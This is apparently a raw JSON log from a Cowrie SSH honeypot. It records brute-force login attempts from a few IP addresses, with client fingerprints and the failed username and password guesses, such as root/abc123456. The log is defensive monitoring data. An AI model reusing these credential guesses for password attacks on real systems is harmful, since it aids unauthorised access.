{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:22.847768Z","src_ip":"45.156.87.253","session":"375805ccc310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":56528,"dst_ip":"159.203.135.109","dst_port":22,"session":"085578885914","protocol":"ssh","message":"New connection: 162.214.159.200:56528 (159.203.135.109:22) [session: 085578885914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:24.329186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:24.333014Z","src_ip":"162.214.159.200","session":"085578885914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:24.421532Z","src_ip":"162.214.159.200","session":"085578885914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haru","password":"haru123","message":"login attempt [haru/haru123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:24.689322Z","src_ip":"162.214.159.200","session":"085578885914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40328,"dst_ip":"10.17.0.5","dst_port":22,"session":"0476d9fa9018","protocol":"ssh","message":"New connection: 45.156.87.253:40328 (10.17.0.5:22) [session: 0476d9fa9018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:24.755820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:24.839828Z","src_ip":"45.156.87.253","session":"0476d9fa9018","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:24.842921Z","src_ip":"45.156.87.253","session":"0476d9fa9018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:25.226808Z","src_ip":"45.156.87.253","session":"0476d9fa9018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:26.078482Z","src_ip":"162.214.159.200","session":"085578885914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:26.309174Z","src_ip":"45.156.87.253","session":"0476d9fa9018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40336,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a66569b9721","protocol":"ssh","message":"New connection: 45.156.87.253:40336 (10.17.0.5:22) [session: 4a66569b9721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:28.230732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:28.234218Z","src_ip":"45.156.87.253","session":"4a66569b9721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:28.318072Z","src_ip":"45.156.87.253","session":"4a66569b9721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"1234","message":"login attempt [server/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:28.559128Z","src_ip":"45.156.87.253","session":"4a66569b9721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:29.805401Z","src_ip":"45.156.87.253","session":"4a66569b9721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43996,"dst_ip":"10.17.0.5","dst_port":22,"session":"1763bfc94dcb","protocol":"ssh","message":"New connection: 45.156.87.253:43996 (10.17.0.5:22) [session: 1763bfc94dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:31.557297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:31.560610Z","src_ip":"45.156.87.253","session":"1763bfc94dcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:31.641976Z","src_ip":"45.156.87.253","session":"1763bfc94dcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:32.189113Z","src_ip":"45.156.87.253","session":"1763bfc94dcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:33.277850Z","src_ip":"45.156.87.253","session":"1763bfc94dcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43998,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fc6eaf1110b","protocol":"ssh","message":"New connection: 45.156.87.253:43998 (10.17.0.5:22) [session: 9fc6eaf1110b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:35.055939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:35.060074Z","src_ip":"45.156.87.253","session":"9fc6eaf1110b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:35.141268Z","src_ip":"45.156.87.253","session":"9fc6eaf1110b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfasdf-space","message":"login attempt [root/asdfasdf-space] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:35.386384Z","src_ip":"45.156.87.253","session":"9fc6eaf1110b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:36.469633Z","src_ip":"45.156.87.253","session":"9fc6eaf1110b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":55756,"dst_ip":"10.17.0.5","dst_port":22,"session":"887241488b45","protocol":"ssh","message":"New connection: 143.20.185.207:55756 (10.17.0.5:22) [session: 887241488b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:37.830323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:37.868961Z","src_ip":"143.20.185.207","session":"887241488b45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:37.946446Z","src_ip":"143.20.185.207","session":"887241488b45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44014,"dst_ip":"10.17.0.5","dst_port":22,"session":"f239c7d8ec01","protocol":"ssh","message":"New connection: 45.156.87.253:44014 (10.17.0.5:22) [session: f239c7d8ec01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:38.377525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:38.379995Z","src_ip":"45.156.87.253","session":"f239c7d8ec01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:38.460873Z","src_ip":"45.156.87.253","session":"f239c7d8ec01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZENNIXKY#4VCPU16GBAMD","message":"login attempt [root/ZENNIXKY#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:38.474211Z","src_ip":"143.20.185.207","session":"887241488b45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:38.706867Z","src_ip":"45.156.87.253","session":"f239c7d8ec01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:39.616120Z","src_ip":"143.20.185.207","session":"887241488b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:39.790045Z","src_ip":"45.156.87.253","session":"f239c7d8ec01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57068,"dst_ip":"10.17.0.5","dst_port":22,"session":"28bd6c0f1ffd","protocol":"ssh","message":"New connection: 45.156.87.253:57068 (10.17.0.5:22) [session: 28bd6c0f1ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:41.750008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:41.753430Z","src_ip":"45.156.87.253","session":"28bd6c0f1ffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:41.833600Z","src_ip":"45.156.87.253","session":"28bd6c0f1ffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:42.077598Z","src_ip":"45.156.87.253","session":"28bd6c0f1ffd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:43.160529Z","src_ip":"45.156.87.253","session":"28bd6c0f1ffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57070,"dst_ip":"10.17.0.5","dst_port":22,"session":"a97474b45a68","protocol":"ssh","message":"New connection: 45.156.87.253:57070 (10.17.0.5:22) [session: a97474b45a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:45.149536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:45.153050Z","src_ip":"45.156.87.253","session":"a97474b45a68","protocol":"ssh"}
